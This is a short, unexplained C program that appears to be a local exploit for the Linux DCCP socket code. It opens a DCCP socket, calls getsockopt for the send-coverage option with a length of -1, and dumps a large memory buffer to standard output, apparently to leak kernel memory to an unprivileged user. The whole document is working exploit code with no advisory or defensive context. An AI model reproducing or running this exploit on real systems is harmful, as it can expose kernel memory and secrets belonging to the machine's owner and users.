Mine

#include <netinet/in.h>
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <net/if.h>
#include <sys/mman.h>
#include <linux/net.h>

#define BUFSIZE 0x10000000

int main(int argc, char *argv[])
{
       void *mem = mmap(0, BUFSIZE, PROT_READ | PROT_WRITE,
                        MAP_ANONYMOUS | MAP_PRIVATE, 0, 0);
       if (!mem) {
               printf("Cannot allocate mem\n");
               return 1;
       }
       /* SOCK_DCCP, IPPROTO_DCCP */
       int s = socket(PF_INET, 6, 33);
       if (s == -1) {
               fprintf(stderr, "socket failure!\n");
               return 1;
       }
       int len = -1;
       /* SOL_DCCP, DCCP_SOCKOPT_SEND_CSCOV */
       int x = getsockopt(s, 269, 11, mem, &len);

       if (x == -1)
               perror("SETSOCKOPT");
       else
               printf("SUCCESS\n");

       write(1, mem, BUFSIZE);

       return 0;
}